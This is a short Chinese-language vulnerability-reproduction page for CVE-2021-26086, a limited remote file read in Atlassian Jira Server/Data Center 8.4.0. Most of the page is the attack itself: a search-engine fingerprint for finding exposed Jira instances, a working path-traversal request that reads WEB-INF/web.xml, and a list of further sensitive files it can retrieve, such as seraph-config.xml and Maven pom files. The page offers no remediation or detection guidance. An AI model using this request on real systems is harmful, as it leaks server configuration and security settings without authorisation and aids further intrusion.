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Atlassian Jira cfx 任意文件读取漏洞 CVE-2021-26086

漏洞描述

Atlassian Jira Server/Data Center 8.4.0 - Limited Remote File Read/Include

漏洞影响

Atlassian Jira Server/Data Center 8.4.0

网络测绘

app="ATLASSIAN-JIRA"

漏洞复现

登录页面

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验证POC

/s/cfx/_/;/WEB-INF/web.xml

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可读取敏感配置文件

WEB-INF/web.xml
WEB-INF/decorators.xml
WEB-INF/classes/seraph-config.xml
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties
META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml
META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties